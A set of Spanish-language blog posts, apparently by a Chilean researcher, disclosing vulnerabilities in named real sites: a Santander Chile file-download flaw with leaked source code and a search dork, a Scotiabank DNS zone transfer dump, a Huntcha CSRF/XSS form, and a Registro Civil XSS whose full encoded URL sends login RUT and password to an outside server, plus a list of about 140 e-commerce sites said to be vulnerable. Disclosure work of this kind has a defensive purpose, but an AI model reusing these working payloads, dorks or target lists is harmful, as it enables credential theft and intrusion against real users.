Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), que permite asignar pagos automaticos a terceras personas, sin previa confirmación. De esta forma, Juanito Perez, puede asignar el pago automatico de la cuenta de luz, agua, movil u otro a Pedrito, sin su autorización.

Varias personas se contactaron conmigo y me comentaban que habian enviado un reclamo a su ejecutivo de cuentas, para tener una respuesta formal y seria respecto a estas vulnerabilidades reportadas. Una de ella me llamo la atención, corresponde a @Van_ultraviolet, que le respondieron:

• Es una persona que necesita mucha atención, por eso hace esto.
• Cualquier persona puede acceder al código fuente.
• Revisamos las alertas del pseudo-hacker y no son reales.

Pueden ver a respuesta completa aca: http://twitter.theinfo.org/152376559511142400

Considero que esto es impresentable y que la persona que entregó esa respuesta debería pensar seriamente en dejar de ejercer su profesión.

Por otro lado, una de las empresas responsables se contactó conmigo y hemos creado un canal de comunicación para el reporte de vulnerabilidades. Ellos admitieron el fallo del Source Code Disclosure y tambien la vulnerabilidad PAT/PAC, indicando que ya está corregida en su entorno de desarrollo, sólo falta ponerla en producción.

El banco no ha respondido publicamente sobre el asunto, el “canal web” y el llamado “Community Manager” que maneja la cuenta de Twitter (@SantanderChile), tampoco se pronuncia al respecto, apesar de las insistentes quejas y reclamos de sus clientes.

Como conclusión, hay 3 empresas involucradas:

1. Santander: La entidad afectada, el Banco.
2. TAISA Chile: Una de las empresas involucrada en el desarrollo del sistema.
3. NEOSECURE: Segun los comentarios del post anterior y segun la información que me llegaba por correo, twitter, etc, es la empresa que ve la “seguridad” del Banco, es decir, es la “empresa lider en seguridad informatica” que audita periodicamente los sistemas del santander, según ellos; Aviso de seguridad Santander.

De estas tres empresas involucradas, la uinca que se ha hecho responsable y ha dado la cara, es TAISA, quien ha reaccionado bastante bien, agradecida y con ganas de crear un canal de comunicación para este tipo de incidentes. Ademas, han reaccionado bastante rapido despues de que se hizo la publicación.

Ustedes juzguen.

Se trata de una vulnerabilidad Local File Include + Directory Traversal = Source Code Disclosure, solo debemos modificar el valor de una variable de la URL para obtener el archivo que necesitemos. Se trata de un fallo basico e irresponsable que ningun alto estandar de seguridad permite.

Lo curioso es que segun el aviso de seguridad oficial del banco santander, hay una empresa “lider” en seguridad informática que les hace auditoría periodica:

Cierto, parece un chiste.

La vulnerabilidad está presente en el archivo “VerRentabilidad.asp”, que sirve para ver la rentabilidad de “algo”. El archivo necesita que se le entregue una variable “Numero”, al cual debemos pasarle especificamente un archivo y será descargado.
Al ver el código fuente de ese archivo, podemos ver que no tiene ningun tipo de validación al momento de realizar la descarga

        nombrePDF=Request("Numero")
        Archivo= "\Rentabilidad" & nombrePDF
        ruta=SERVER.MapPath("/transa/productos/fm") & Archivo
        'Response.Write ruta
        'Response.End
        if not ValidaArchivo(ruta) then
                Response.Redirect("InvMostrarError.asp?tipo=F")
        else
                objStream.Type = 1 'adtypeBinary
                objStream.Open
                objStream.LoadFromFile(ruta)
                Response.contentType="application/pdf"
                Response.AddHeader "content-disposition", "inline;filename=" & nombrePDF
                Response.BinaryWrite objStream.Read
                Response.Flush
                ObjStream.Close
                set objStream=nothing

        end if

En la línea 01 almacena en la variable “nombrePDF” el valor que le entegamos por URL mediante la variable “Numero”, en la variable 06 podemos ver una validación que claramente no funciona o bien no es suficiente, por lo que se ejecutan las lineas siguientes, iniciando la descarga del archivo por el lado del cliente.

Explotando esta vulnerabilidad podemos navegar por los directorios, obtener el listado de archivos, realizar descargas arbitrarias, etc.

Conociendo el arbol de directorios, ya podemos comenzar a descargar uno por uno los archivos de sistema

transa/
transa/ErrorDB/
transa/DHS/
transa/solicitud/
transa/include/
transa/Productos/
transa/Productos/include/
transa/preerror.asp
transa/logteclado.asp
transa/FuncBanco.asp
transa/common.asp
transa/cruce.asp
transa/ErrorDB/LogHOB.asp
transa/DHS/Constantes.asp
transa/DHS/DHSFuncs.asp
transa/solicitud/constantes_campana.asp
transa/include/ReadWriteSesion.asp
transa/include/TrampHBFC.asp
transa/include/prodini.asp
transa/Productos/include/ProdMenu.asp

Por ejemplo, ReadWriteSesion.asp:

ub EscribirArchivo(NameArr, Objeto, URL)
	Dim fecha, path_archivo, linea
	Dim fs, Fd

	Application.lock
	fecha = year(now()) & right("00"&month(now()),2) & right("00"&day(now()),2)
	path_archivo = left(Application("PATHINICONECT"),7) & "ErrorEstComp" & NameArr & fecha & ".txt"
	Linea = "	URL = " & URL
	Linea = Linea & "	Detalle = " & Objeto
	linea = fecha&";"& TimeValue(now()) &";" & linea
	Set fs = CreateObject("Scripting.FileSystemObject")
	Set fd = fs.OpenTextFile(path_archivo, 8, True, False)
	fd.WriteLine(linea)
	fd.close
	set fs = nothing
    Application.unlock

End Sub

Sub ProblemaTecnico

	session("CARPETACLIENTE") = ""
	session("rut") = ""
	session("dig") = ""

[...]
Function NomSession(Param)
' Compatibiliza Nombres de session antiguos por nuevos
Dim RealParam
Select Case UCase(Param)
   Case UCase("APaternoPNJPE07"): RealParam = "ApellidoPaterno"
   Case UCase("AMaternoPNJPE07"): RealParam = "ApellidoMaterno"
   Case UCase("NombresPNJPE07"): RealParam = "Nombres"
   Case UCase("subsegmento"): RealParam = "Segmento/subsegmento"
   Case UCase("MwPeCodCar"): RealParam = "Segmento/MwPeCodCar"
   Case UCase("nom_seg"): RealParam = "Segmento/NombreSegmento"
   Case UCase("clasificadas"): RealParam = "cla"
   Case UCase("IDLogin"): RealParam = "IDL"
   Case UCase("webmatico"): RealParam = "wbmat"
   Case UCase("OpcTef"): RealParam = "TipoTef"
   Case UCase("TipoURL"): RealParam = "Tipo"
   Case UCase("Op_campana"): RealParam = "Op_camp"
   Case UCase("Url_campana"): RealParam = "Url_camp"
   Case UCase("rut"): RealParam = "RUT"
   Case Else
    RealParam = Param
End Select
NomSession = RealParam
End function

Otor ejemplo, el archivo cruce.asp:

'****************************
'* Manejo de webmatico
'****************************

EsWebMatico = request.Cookies("webmatico")

if (TRIM(LCASE(EsWebMatico))="si" and Ucase(login) <> "BANCOSANTANDER" and Ucase(login) <> "SANTIAGOEXPRESS") then
        path_inicio = "webkio/bcolinea.asp"
        path_sinper = "../mensaje.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "si"
else
        path_inicio = SECWEBNAME & "/transa/partida.asp"
        path_sinper = SECWEBNAME & "/transa/sinpersona.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "no"
end if

'******** fin webmatico *********

'****************************************************************************
'*** Obtiene Rut y Ping del Cliente             *************************************
'****************************************************************************
  rut= ucase(trim(Request.Form("rut")))                          'recibe el rut
  pin= trim(Request.Form("pin"))                                 'recibe el pin
  utv= trim(Request.Form("usateclado"))                          'recibe el uso de teclado virtual
  ven= trim(Request.Form("dondeentro"))
  rslAlto= trim(Request.Form("rslAlto"))                            'resolución pantalla browser del cliente
  rslAncho= trim(Request.Form("rslAncho"))                          'resolución pantalla browser del cliente

  state = 0
  if rut <> "" then
    state = verificador(rut)                                'revisa el digito verificador
  end if
'****************************************************************************

  If rut <> "" and pin <> "" and state = 0 and len(pin) = 4 then         'Si esta todo bien

                '**************************************************************************
                '**** Consulta si Cliente si Esta Bloqueado por 60 Minutos      ***************
                '**************************************************************************

Segun lo que podemos leer en los comentarios del codigo fuente, corresponde a un desarrollo del año 2006, estamos casi en el 2012. El Banco Santander, ademas de mentirle a sus clientes y usuarios diciendoles que es un sitio seguro, fue denominado como el sistema de banco mas seguro de latinoamerica.

A todas las personas que lean este artículo:
- El banco santander NO es el mas seguro, probablemente sea el mas inseguro.
- Una falla de seguridad de este tipo no puede ser permitida, es una vulnerabilidad demasiado CRITICA como para que un banco la tenga presente.
- El Banco no implementa las mejores ni las ultimas tecnologias, tampoco implementa los ultimos estandares de seguridad. Usan tecnologias obsoletas y poco robustas.
- Esta es una vulnerabilidad que afecta al banco y que podria eventualmente afectar a TODOS sus clientes. El atacante que acceda a informacion como el codigo fuente de un sistema, probablemente pueda acceder a otro tipo de informacion.
- No es la unica vulnerabilidad que existe en este banco, ya he hecho publicar por lo menos 4 otras.
- Que el banco tenga un certificado de un millon de bits, no lo hace mas seguro.

A los encargados de seguridad de los bancos u otras entidades:
- La seguridad no es unicamente enviar emails y dar consejos tipo “no abras links”
- La seguridad de tu institucion no depende de un certificado SSL.

Los encargados de seguridad de este banco no pueden hacer oidos sordos a este tipo de anuncios, son vulnerabilidades presentes hace mas de 1 año. Pesonalmente llevo mas de 1 año intentando reportar por distintos medios este tipo de fallas. Es una falta de respeto hacia los clientes.
Ademas, la vulnerabilidad está indexada por Google, hagan la siguiente busqueda:
site:santander.cl inurl:VerRentabilidad
No es necesario estar logueado en el sistema para poder explotarla.

Solo me queda una pregunta… ¿Cual será esa empresa LIDER en seguridad informática que audita el sistema del Santander?

Los bancos no solo tienen vulnerabilidades web, tambien tienen servicios que se encuentran mal configurados, como es el caso de Scotiabank, que tiene los servicios DNS configurados de forma tal que permiten a cualquier persona poder actuar como servidor secundario y transferir las zonas.
El DNS que tiene los problemas es el secundario, ns2.scotiabank.cl. Si intentamos transferir las zonas desde el secundario, obtenemos los subdominios asociados a scotiabank.cl:

scotiabank.cl.        3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400
scotiabank.cl.        3600    IN    NS    ns2.scotiabank.cl.
scotiabank.cl.        3600    IN    NS    fw-ext.scotiabank.cl.
scotiabank.cl.        3600    IN    A    200.14.209.97
scotiabank.cl.        3600    IN    MX    10 smexstsip11.scotiabank.com.mx.
scotiabank.cl.        3600    IN    MX    10 smexstsip21.scotiabank.com.mx.
scotiabank.cl.        3600    IN    MX    10 smexstsip31.scotiabank.com.mx.
scotiabank.cl.        3600    IN    TXT    ”v=spf1 a mx ip4:168.165.13.0/24 include:spf.masterbase.com ~all”
alteon1.scotiabank.cl.    3600    IN    A    200.14.209.101
alteon2.scotiabank.cl.    3600    IN    A    200.55.208.27
corporate.scotiabank.cl. 3600    IN    CNAME    sdol.mastercard.com.
fw-ext.scotiabank.cl.    3600    IN    A    200.14.209.97
gslb.scotiabank.cl.    600    IN    NS    alteon1.scotiabank.cl.
gslb.scotiabank.cl.    600    IN    NS    alteon2.scotiabank.cl.
ns2.scotiabank.cl.    3600    IN    A    200.55.208.26
smexstsip11.scotiabank.cl. 600    IN    A    168.165.13.70
smexstsip21.scotiabank.cl. 600    IN    A    168.165.13.73
smexstsip31.scotiabank.cl. 600    IN    A    168.165.13.76
www.scotiabank.cl.    600    IN    CNAME    www.gslb.scotiabank.cl.
scotiabank.cl.        3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400
;; Query time: 44 msec

Y todos los dominios que esten usando a ns2.scotiabank.cl como dns, tambien seran vulnerables a este tipo de ataque, por ejemplo, el Banco del Desarrollo:

bdd.cl.            3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400
bdd.cl.            3600    IN    NS    ns2.scotiabank.cl.
bdd.cl.            3600    IN    NS    fw-ext.scotiabank.cl.
bdd.cl.            3600    IN    A    200.14.209.97
bdd.cl.            3600    IN    MX    10 smexstsip11.scotiabank.com.mx.
bdd.cl.            3600    IN    MX    10 smexstsip21.scotiabank.com.mx.
bdd.cl.            3600    IN    MX    10 smexstsip31.scotiabank.com.mx.
bdd.cl.            3600    IN    TXT    ”v=spf1 ip4:168.165.13.0/24 ~all”
alteon1.bdd.cl.        3600    IN    A    200.14.209.101
alteon2.bdd.cl.        3600    IN    A    200.55.208.27
fw-ext.bdd.cl.        3600    IN    A    200.14.209.97
gslb.bdd.cl.        600    IN    NS    alteon1.bdd.cl.
gslb.bdd.cl.        600    IN    NS    alteon2.bdd.cl.
ns2.bdd.cl.        3600    IN    A    200.55.208.26
smexstsip11.bdd.cl.    600    IN    A    168.165.13.70
smexstsip21.bdd.cl.    600    IN    A    168.165.13.73
smexstsip31.bdd.cl.    600    IN    A    168.165.13.76
www.bdd.cl.        300    IN    CNAME    www.gslb.bdd.cl.
bdd.cl.            3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400
;; Query time: 37 msec

Como es de costumbre, los bancos no tienen procedimientos ni forma para contactar a los responsables.

Según los Términos y Condiciones, respecto a la privacidad y protección de datos, podemos leer:

Política de Privacidad

En virtud de la Ley N°19.628 sobre Protección de la Vida Privada, la empresa respeta el deber de proteger los datos de carácter privado y personales de los usuarios, no dando acceso a ellos al público a menos que el propio usuario los de a conocer, por medio de la página web bajo su consentimiento, no pudiendo hacer responsable a la empresa por la información que el mismo entregue. La empresa se compromete a cuidar la seguridad de los datos personales tomando todas las medidas necesarias para esto, a fin de evitar la pérdida, mal uso o cualquier apropiación indebida de estos mismos.

Lo que más me llama la atención es que segun ellos, son 100% privados y seguros:

Dicen tener más de 20 mil usuarios, por lo que asegurar que los datos de esos 20 mil están 100% seguros y privados, es un poco irresponsable. Todos sabemos que la seguridad y la privacidad al 100% no existe.

He encontrado algunas vulnerabilidades en este sistema que puede permitir a un atacante obtener información de los usuarios que se encuentran autentificados. Explotando estas vulnerabilidades el atacante podría perfectamente suplantar la identidad de la persona o de su amor platónico.

Las vulnerabilidades son Cross-Site Request Forgery (CSRF) y Cross-Site Scripting (XSS), combinandolas se puede explotar una funcionalidad que tiene el portal para enviar correos a “tus amigos” para invitarlos al portal, pudiendo modificar el mensaje y el destinatario. Además, no es necesario estar autentificado para poder explotar este fallo.

Uno de los XSS detectados está en la página de error, cuando no encuentra el “módulo”

El segundo Cross-Site Scripting, lo encontré al momento de configurar el “Boss-Mode”

Dentro del sistema, existe la función para que los usuarios puedan invitar a otras personas a participar de la red, mediante un “mensaje” enviado por correo electrónico desde el sistema huntcha. Esta función, no valida el Token de seguridad del formulario, pudiendo realizar post desde sitios externos (CSRF).

Si falsificamos ese formulario y lo corremos de forma local, con un simple html:

<form method=post action=http://www.huntcha.com/?c=app&m=send_invitation>
Token Falso: <input type=text name=csrf_huntcha_token value=5ca3fb36f6d005e01d53b02ce9fd4391><br>
Nombre: <input type=text name=name value=”AAA”><br>
Destino: <input type=text name=mail value=panic@zerial.org><br>
Mensaje: <input type=text name=message value=”hola<a href=’http://www.huntcha.com/?c=index&m=bossmode_denied&url=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3Ehttp://www.google.cl’>AAA</a>”><br>
<input type=submit>
</form>

El formulario nos quedaría de la siguiente forma:

Cuando le damos a “Submit query”, al atacante le llegará un mensaje  con un link hacia un XSS dentro de Huntcha, si la victima tiene la sesión iniciada, podriamos enviar los datos de sesión a un servidor remoto, o bien obligar al usuario (sin que se de cuenta) a hacer request al huntcha.com (aprovechando que no validan los security tokens) y obtener información de si mismo, para enviarlo a un servidor remoto. El atacante lo unico que debe hacer es construir un javascript malicioso que permita robar la información necesaria, generar un mensaje llamativo y hacer uso de este metodo para enviar correos.

En esta imagen pueden ver el correo que me llego, con el link malicioso. Cuando la víctima haga click en ese link, se ejecutará en su navegador el código javascript incrustado por el atacante, sin que se de cuenta.

La moraleja es que los usuarios deben ser un poco mas cuidadosos al momento de entregar información sensible a cualquier portal o sitio web. Hoy en día todas las empresas, portales, foros, redes sociales o lo que sea, dicen ser seguros, pero ya conocen la realidad.

El staff de Huntcha ya fue notificado de estas vulnerabilidades y se están trabajando en solucionarlas.

Hace un par de semanas fueron reportadas en Secureless 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior, quienes ellos mismos se acercaron a mi luego de la charla de la Computer Security Conference 8.8 para canalizar mediante ellos las vulnerabilidades de sitios web del gobierno que sean encontradas. El CSIRT del Interior ha respondido muy bien, pero al parecer ni si quiera una “entidad reguladora” es capaz de hacer entender a los responsables y encargados.

Las vulnerabilidades de este tipo no son consideradas un riesgo y no se le da la urgencia que se necesita. Esta vulnerabilidad es critica ya que se encuentra en la sección para que los usuarios inicien sesión y permite el robo de credenciales y suplantación de identidad.

Este fallo afecta a la página de autentificación de certificados en línea

En el cual es posible modificar la función el botón “Ingresar”, para que nos envíe la información de identificación a un sitio externo.

La víctima lo único que tiene que hacer es ingresar a un link malicioso que el atacante le envie por correo o por algún otro medio. Esta vulnerabilidad se aprovecha de la confianza que tiene el usuario sobre el sitio web, ya que usa el dominio original y real del Registro Civil, incluso su certificado de “seguridad” SSL. La URL maliciosa tiene la forma

https://www.registrocivil.cl/XXXXXXXXXXXXXXXXXXXXXXXXXX

Para aprovecharse de esta vulnerabilidad lo único que hay que hacer es envenenar la variable “pag” y sobreescribir la función javascript “ingresar()”.

En primera instancia, modificaremos la función para que nos muestre el contenido de cada campo del formulario de autentificación

El nombre de usuario/rut
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E

La password
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E

Al ingresar en estos dos links, veran la pantalla de inicio de sesión normal, sin modificaciones. Ingresen sus datos y presionen el botón “Ingresar”, veran como aparece un mensaje con los datos que ustedes han ingresado. Esta prueba de concepto es una simple alerta que muestra los datos que ingresaste en el formulario.
La segunda prueba de concepto será generar una alerta en el navegador donde nos muestre el usuario y la password juntos
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc’; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert(‘rut: ‘ %2b _a %2b ‘ password: ‘ %2b _b); }</script><script>

Si ingresamos nuestro datos de acceso y pinchamos en ingresar, podemos ver que nuestra información aparecerá en la alerta del navegador

Una vez realizada esta prueba de concepto, ya podemos enviar esa información a un sitio externo, donde el atacante podría almacenar la información del usuario al momento de iniciar sesión.

Modificaremos la función “ingresar()” de forma tal que nos envie la información del formulario al dominio zerial.org (de pruebas), usando el siguiente código javascript:

pocpoc';
}}
function ingresar(){
        document.forms[0].action = 'http://zerial.org/PoC_RegCivil';
        document.forms[0].method = 'GET';
        document.forms[0].submit();
}

Se lo inyectamos a la URL vulnerable:

var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E

Al ingresar tus datos e iniciar sesión, tu RUT y password será enviado a mi servidor. En el servidor, la información llega de la siguiente forma:

x.x.x.x – - [xx/Nov/2011:xx:xx:xx -0300] “GET /PoC_RegCivil?tipoAyuda=&runOI=1544345&dvOI=&passwordOI=prueba HTTP/1.1″ 200 1529 “-”"

Podemos ver donde dice runOI y passwordOI, que aparecen los datos que ingresamos en el formulario de autentificación en el sitio web del Registro Civil. Ya tenemos los datos del usuario

RUT: 1544345
Password: prueba

Finalmente, la URL maliciosa tendría la forma:

https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45

Es suficiente con enviar ese link a usuarios para que los datos de autentificación sean enviados a un servidor externo.

ACTUALIZADO (3 de Diciembre): Luego de insistir via twitter y enviando este post al CSIRT del Ministerio del Interior, Registro Civil ha corregido la vulnerabilidad.

Como siempre, hay que hacer publicas las fallas para que le den solucion.

Durante aproximadamente 7 meses hemos estado recopilando sitios webs con distintas vulnerabilidades, gracias a nuestras propias investigaciones o colaboraciones de distintos usuarios, hasta la fecha registramos aproximadamente 1058 sitios web, de distintos paises, distintos tipos de entidades (universidades, bancas, etc) y con distintos estados. Actualmente en Secureless manejamos 3 tipos de estados, las Reportadas, No Reportadas

La diferencia que existe entre las Reportadas y las Sin Reportar, principalmente se da porque los sitios web no publican un correo o alguna forma de contacto para poder reportar este tipo de fallas, por lo general se limitan a poner un formulario de “consultas” y muchas veces en bancos, universidades o sitios del gobierno, hay que completar un formulario con cientos de campos obligatorios.

Los sitios web que realmente deberian tener este tipo de procedimiento como los bancos, Universidades o sitios del gobierno que manejen información sensible de personas, no lo hacen. Muchas veces debemos enviar el reporte a correos genericos y/o aleatorios como contacto@dominio, info@dominio o webmaster@dominio, sin tener respuesta.
La relación que existe entre las Reportadas y las Solucionadas, nos demuestra que de alguna forma estamos apuntando para el lado correcto, ya que el 90% de las vulnerabilidades reportadas se solucionan.

De los tipos de vulnerabilidades, hay dos categorías que pelean el puesto para ser los que más sitios registran, el SQL Injection y al Cross-Site Scripting

Es curioso, ya que una es client-side (xss) y la otra server-side (sql-i), pero ambas ocurren por una mala sanitización de los parametros de entrada.

La que los sigue es Full Path Disclosure, una vulnerabilidad que por si sola no es muy critica y que muchas veces se le da la responsabilidad al encargado del servidor, que no deshabilita los errores o el debug, aunque segun yo, el programador debería ser capaz de manejar los errores y validar los parametros de entrada para evitar el crash de la aplicación y asi evitar cualquier tipo de error sin atajar. El tipico ejemplo, cuando modificamos los parametros por GET y transformamos una variable en un Array.

Si analizamos la cantidad de sitios por tipo de organización, nos encontramos con el siguiente gráfico:

Las universidades son de las entidades (segun nuestro criterio) que más vulnerabilidades tienen, ya que muchas de ellas les abren espacios a sus clientes alumnos, por lo general un servidor compartido entre usuarios y en algunos casos extremos, un servidor compartido con aplicaciones de la universidad (intranets, etc).
Luego viene los del gobierno, que mientras más sitios y sistemas ofrecen, menos control tienen sobre las aplicaciones y sobre los datos que manejan. Es muy comun en sistemas y sitios del gobierno encontrar tecnologias antiguas y en muchos casos, obsoletas.
Con eCommerce, me refiero a sitios que ofrecen “comercio por internet”, como PC Factory, Falabella, Ripley, etc.
Finalmente tenemos a los queridos Bancos, que sinceramente ellos ni si quiera deberian aparecer en este listado.

El último gráfico, corresponde a sitios segun su pais o dominio

No significa que Chile sea mas vulnerable que los otros, simplemente que en un principio nos dedicamos unicamente a almacenar sitios chilenos, pero poco a poco fuimos aceptando colaboraciones de otros paises y otros dominios.

El Listado de Directorios en si no es una vulnerabilidad o fallo crítico, todo depende de que tipo de información nos divulgue.

El servidor del Banco Corpbanca permite listar directorios entregando información sensible sobre los archivos del sistema, por ejemplo permite acceder a archivos como “ComprobanteCargoAbono_Personas.aspx.20081217“, un respaldo del año 2008 del archivo ComprobanteCargoAbono_Personas.aspx que, antes que  limitaran el acceso, era posible ver el código fuente de ese y de otros archivos.

En el caso de un banco es peligroso porque permite al atacante conocer de mejor forma el sistema accediendo a toda la estructura de directorios y archivos. Tambien nos damos cuenta que hay scripts de “prueba” que nos pueden entregar información sensible

Este problema en la configuración de los servidores de Corpbanca ya ha sido reportado y se está solucionando.

Despues de haber dado la presentación de Secureless en la CSC 8.8, se me acercó el encargado de la seguridad de Corpbanca, entregandome su contacto y agradeciendo cualquier reporte que pudiese enviarle, hasta ahora he tenido la amabilidad de estar reportandole algunas fallas y el por su lado gestiona que se solucionen.

El pasado viernes 18 de noviembre se realizó la primera versión de la 8.8, una conferencia orientada a la seguridad informática y hacking. Tuve el agrado de exponer sobre el Proyecto Secureless, que llamó la atención de varios de los asistentes y gracias a eso logré tener contacto con distintas personas encargadas de la seguridad o del area de informática de bancos, universidades, etc. Hubo charlas técnicas y otras no tanto, yo expuste, además de la presentación de Secureless, algo que ya había expuesto antes en otras conferencias, sobre Hacking Automatizado, básicamente la automatización de tareas mediante scripts en bash, php, python, etc.  De esta chalra no pude  mostrar todo por falta de conexión a internet.

De las cosas que mas me interesaron, fue “Gaining Full System Access via Virtual Memory“, que comenzó hablando sobre congelar la RAM para mantener la información  (Cryogenically frozen RAM) y que obviamente el escenario para explotar este tipo de cosas es bien complicado, ya que hay que tener acceso fisico, sin embargo, esto tambien sucede en las máquinas virtuales por ejemplo con VMWARE, que genera un archivo “.mem”, basta con hacer un dump de ese archivo y guardarlo para simular el “congelado”. Mediante este ataque, Thomas demostró que Linux es más inseguro que Windows en este sentido, por el simple hecho de que Windows es capaz de cifrar la información que está en la RAM, Linux no lo hace. Lo demostró leyendo el hash del archivo /etc/shadow desde la ram y también accediendo a la password en texto plano que se digitó para autenticarse en una shell.

Tambien me pareció interesante la charla de Marco Balduzzi quien hablaba sobre HTTP Parameter Pollution, que por el tipo de preguntas que se hicieron creo que no mucha gente entendio el sentido de HPP.

Más allá de las charlas, lo que más me gustó es que existiera la instancia de poder mirar cara a cara a los distintos responsables y tambien conocer a gente nueva que está interesada en todo este tema de la seguridad informática y hacking. Me dio mucho gusto conocer a varios de los que solo me había relacionado via email para reportar vulnerabilidades.

Nos vemos el 2012!

Según Google, son un poco más de mil sitios los que utilizan esta plataforma y que serían vulnerables a este tipo de ataques.

Al tratarse de un eCommerce, esta vulnerabilidad es aún más peligrosa ya que el atacante podría explotarla para obtener información de los usuarios como números de tarjetas de crédito, correos, usuarios y contraseñas, todo esto mediante phishing, usando el dominio del sitio en el que el usuario confía. Tambien se pueden elaborar ataques mas sofisticados para robar las sesiones a los usuarios que previamente hayan iniciado sesión.

La vulnearbilidad se encuentra en el archivo “error.php” y se produce al no filtrar los parametros de entrada mediante las variables “p” y “s“. El script simplemente imprime el valor de las variables, sin filtrarlas ni escapar caracteres, permitiendo XSS.

Una lista de algunos sitios afectados:

abysinvitationsprintshop.com
accesorioselauto.com
adobetecnoterra.com
adrenalinamotor.mx
akarienlinea.com
aldebaranuno.com
aleissi.mx
anabolicstorexpress.com
ankah2o.com
antibalastucomprasegura.com
aquatica-online.com
armarecuerdoseinvitaciones.com
armyatvstore.com
babybodega.mx
bazar12.com
beerandfashionmexico.com
bellezanutritiva.com.mx
bichitour.com
bienesraicespremium.com
bigjockey.com
billyoplazapiel.com
blancoscorona.com
bricks-store.com
cajasybolsas.com
caramolli.com
cavaboutique.com
ceciliamartinezgarza.com
centralnt.com
colofoninfantil.com
comercialdeestanteria.com.mx
comerciantes.mx
compraconplazo.com
compupagos.com.mx
compuventa-online.com
contitech-solutions.com
cosasdeingenieria.com
decocuadros.com.mx
dekocuadros.com
deyacut.com
digielectronik.com
distribuidorazaqueo.com
diveencounters.mx
doshik.com
e-tronic-shop.com
edicionesuromex.com
elgloborojotienda.com
ellamodas.com
elmundodelasfajas.com
enac-audio.com
enelbazarxalapa.com
entradaxsalida.com
enviamiregalo.com
eplaza.com.mx
fantasias-daniel.com
farmaciadelnino.com
fashion1services.com
fastlapstore.com
fermentando.com.mx
florerialorena.com
forjasdesign.com
fraganciamania.com.mx
fvi.mx
gadgetmex.com
galeriagalamania.com
globaris-shop.com
grupocomputacionaldeco.com
grupoelrey.com
gscomputadoras.com
hogarynegocio.com
hypnosefashionstore.com
imperiusarts.com
importacionesecm.com
indumaqsa.com
infoxweb.com
inhaus.mx
irrealcandybar.com
its-acapulco.com
javoil.com
joyeriasagara.com
julianna-jewelry.com
kingmonstermty.com
kiutstore.com
konexionmusical.com
lacombasoccer.com
ladecimaletragdl.com
lapsrepairs.com
lasmatadoras.com
libros.com.mx
liderpowertools.com
lizfloreria.com
lunerougeboutique.com
maimaitienda.com
mandycreaciones.com
manikin-online.com
maniquiesonline.com
maquinariaexpress.com
megapixelcomputadoras.com
mercaditoparati.com
mexi-cali.net
modayregalos.com
mothernity.com.mx
mtystore.com
muebleriamaya.com
mundoescolar11.com
mydogpharma.com
naturatoshop.com
naturenmexico.com
nochederio.com
onlineplayeras.com
ouletgnc.com
pa-xi.com
paraleer.com
pasatiempo-juguetes.com
petnc.com
pinnacleventa.com
plazamesonesvirtual.com
pro-limp.com
prodoorventas.com
psmodelismo.com
r3silencia.com
raqmar.com.mx
rcomunicaciones.com
recuerdosybolos.com
reducingbodysiluet.com
regala123.com
regala123.com.mx
regalosconvida.com
reguladoresypcs.com
safetystoremexico.com
seducelo.com
seducelo.com.mx
setfi.us.com
sexylencerias.com
shop4evermx.com
siaproductos.com
sistemascompac.com
sitesirve.com
smart-atic.com
solarislabs.com
solodebateria.com
spixalapa.com
sportjordan.com
store-htpro.com
sunlounge.com.mx
taipacificoimportaciones.com
techosmas.com
